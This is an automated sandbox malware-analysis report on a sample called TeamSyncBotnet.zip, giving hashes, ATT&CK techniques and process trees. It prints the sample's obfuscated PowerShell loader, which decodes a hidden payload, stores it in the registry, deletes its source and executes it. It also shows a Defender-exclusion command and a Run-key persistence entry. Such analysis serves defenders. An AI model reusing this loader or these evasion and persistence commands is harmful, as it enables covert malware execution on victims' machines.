653cfd27b7e988561a5b7af281fc8e0e60285e26a60467b4dcef70590327f728

Analysis

max time kernel
116s
max time network
118s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
12/08/2024, 10:13

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

TeamSyncBotnet.zip
Size

1011KB
MD5

2a27a138d8a1f1a34d4149427b69d785
SHA1

35a9941c175222d9704970e931b6760142d4eeda
SHA256

653cfd27b7e988561a5b7af281fc8e0e60285e26a60467b4dcef70590327f728
SHA512

c98b7903b302c21c8777abe0521ae79682c7da4531fddfece4d8aeeb11f418ed136bde579e7a0ff89da66d140e0f953eb4779e13cc64a4edc7a676d299b0811b
SSDEEP

24576:m9MM9cuzAR3RyDlEKu3n81Sfcu91HHu1Mu/L1wzQtYJ:C9BzUhyDldu3nQW9BHgMKL1wzQ+J

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
672	powershell.exe
4020	powershell.exe
4784	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3007475212-2160282277-2943627620-1000\Software\Microsoft\Windows\CurrentVersion\Run\ps-driver = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ps-driver.bat"	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 17 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "225"	LogonUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133679312725587054"	chrome.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3007475212-2160282277-2943627620-1000_Classes\Local Settings	chrome.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\TeamSyncBotnet.zip:Zone.Identifier	chrome.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1052	chrome.exe
1052	chrome.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
4784	powershell.exe
4784	powershell.exe
4784	powershell.exe
4020	powershell.exe
4020	powershell.exe
1052	chrome.exe
1052	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeShutdownPrivilege	1052	chrome.exe
Token: SeCreatePagefilePrivilege	1052	chrome.exe
Token: SeDebugPrivilege	672	powershell.exe
Token: SeShutdownPrivilege	1052	chrome.exe

Suspicious use of FindShellTrayWindow 38 IoCs

pid	Process
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe
1052	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3096	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1052 wrote to memory of 4552	1052	chrome.exe	83
PID 1052 wrote to memory of 4552	1052	chrome.exe	83
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 3160	1052	chrome.exe	84
PID 1052 wrote to memory of 4400	1052	chrome.exe	85
PID 1052 wrote to memory of 4400	1052	chrome.exe	85
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86
PID 1052 wrote to memory of 1580	1052	chrome.exe	86

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\TeamSyncBotnet.zip
1⤵
PID:3936

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:616

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1052
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff8e528cc40,0x7ff8e528cc4c,0x7ff8e528cc58
  2⤵
  PID:4552
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2028,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2024 /prefetch:2
  2⤵
  PID:3160
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1380,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2060 /prefetch:3
  2⤵
  PID:4400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2212,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2228 /prefetch:8
  2⤵
  PID:1580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3080,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3236 /prefetch:1
  2⤵
  PID:3136
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3116,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3280 /prefetch:1
  2⤵
  PID:2776
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4468,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3568 /prefetch:1
  2⤵
  PID:4880
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4828,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4836 /prefetch:8
  2⤵
  PID:4800
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4864,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4836 /prefetch:8
  2⤵
  PID:1076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=4592,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4284 /prefetch:1
  2⤵
  PID:4808
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4600,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4756 /prefetch:1
  2⤵
  PID:1524
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4520,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4584 /prefetch:8
  2⤵
  - NTFS ADS
  PID:3864
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=224,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4496 /prefetch:8
  2⤵
  PID:3068
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3712,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4856 /prefetch:8
  2⤵
  PID:1072

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:2080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2356

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Botnet\Botnet.bat" "
1⤵
PID:1560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:JjxMVMBNud;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'zLanIlbmlS' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ps-driver.bat'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ps-driver.bat" "
    3⤵
    PID:540

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
1⤵
PID:800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:JjxMVMBNud;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'zLanIlbmlS' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4020

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a1e055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3096

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
b8cd67e4ba77f04fb23e9c7b8bc73900

SHA1
b0c2079972941196e46d8de6a12b3d29d6b7822c

SHA256
76ea4ac28a433496435c59323082421895252ce9187d36829d3b12f6bd71a323

SHA512
12ce84e8b17cec8fe5f900e540ac2a70e9586c75bd2af0dfed10efd8259dda6354fd7b120016faff922882f8b3a8b69c991064c3f0886982c7360abfe6bee5ab

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000001

Filesize
1011KB

MD5
2a27a138d8a1f1a34d4149427b69d785

SHA1
35a9941c175222d9704970e931b6760142d4eeda

SHA256
653cfd27b7e988561a5b7af281fc8e0e60285e26a60467b4dcef70590327f728

SHA512
c98b7903b302c21c8777abe0521ae79682c7da4531fddfece4d8aeeb11f418ed136bde579e7a0ff89da66d140e0f953eb4779e13cc64a4edc7a676d299b0811b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
324a0de1effab269933b4b0cc176b014

SHA1
495980478c0b06b21e1a76d85eee87eee7cb9188

SHA256
b92b78f049324adcec8128d6b9d6234c51b9d26788bdbab3e484698b4a8f5a10

SHA512
8699ff7994ecc5c80e44aa4320c8a04fdaae90a64528304b3e2749bbb7b155659172b5f1b8c5f24caa3b9292ca1d2fbdff6331b391d0e14548a83a45a05da675

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
352B

MD5
d2c832fda1ef677c32b65cc91ba15efc

SHA1
68461b226ade42c8cbcb041b4175883b2599ba64

SHA256
77562023414673d492f6e01f0763e7bcf9f907a14087fd0b23f36e0ab4b4cac5

SHA512
48f62431803f4e6948606fdf6d7001a6c60effa5e39356e2359fc539c1275b3f0c28b58e7bf173fb8f58fca72677ab424e95f345897761cde39c615fb51be424

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
36ef1a30c7cd315866ddd008cea1e318

SHA1
e9b209f17ae62852c91b8331eda0c154c148d373

SHA256
8d87efb81a883f8e36a4b4d07a2d78b58b072fb9c5e6cac6a6c6dd8d26755648

SHA512
8ff824ffdfb26424336629aaeb4741bbaea3d069b6d927ceb8c01aa1f109da26039ffb20b341b916cf10e1da23a332cd5a134c8960b2c8e17942db752834aebf

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
0cc566065fddc16723a207e900515ad3

SHA1
a6ce2c4670045ac89e68010dc0fa7e9d123b621f

SHA256
49467c95159f1969b1258353478bd7f0ac7953df99bd899564811eb10ff68c1a

SHA512
b6c53763a767e257d4fc5e78abaf0fd921b2afb9b48f6a46238a1845fbaecc0f4ce0dd2af0eecbe8aa664e5be217723dbd0e3e6d01a6fdddcf9c35357274d8fd

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
04108ecd9d3d1f2e81e04d808c4f7bc8

SHA1
19df5ae2b4d99d8cfdc28d61e74613ceb5023bc3

SHA256
137e3b8390172f0bc71a9e0aba8dcf887e8aa83b10dd0af71d85ea3005c0cfc6

SHA512
1ffb12668069c039ec33b7d0e20d4af0a7b30545b1bf64400dc8f227f46b37f278fe079bdae363b345c17c23782a24f7dd3fa1c018567b20e532e0eb3e5c983a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
b2bc8f0a4fbc33c8a4255fd7492fd5e6

SHA1
b293eee9db173a15a304b06bf05b8c544b7095e2

SHA256
df9b7947f00cb33e8fe81b9f9f67a831738b29e2ee43cb6f8fbb80b004fab0b7

SHA512
8f02f7c62170fd2a6ed21d2e1d520458d22ea641ba49c21a589eadb53f8f3778a19faae36fb709ba2da27eeaf17847ec9b75f5a4fd05973905659e701c81f96a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Filesize
15KB

MD5
2f01bc047b67c6d3ee9597892437fca9

SHA1
e57b26a340ce38ac734f986ed9152e15d92cfd09

SHA256
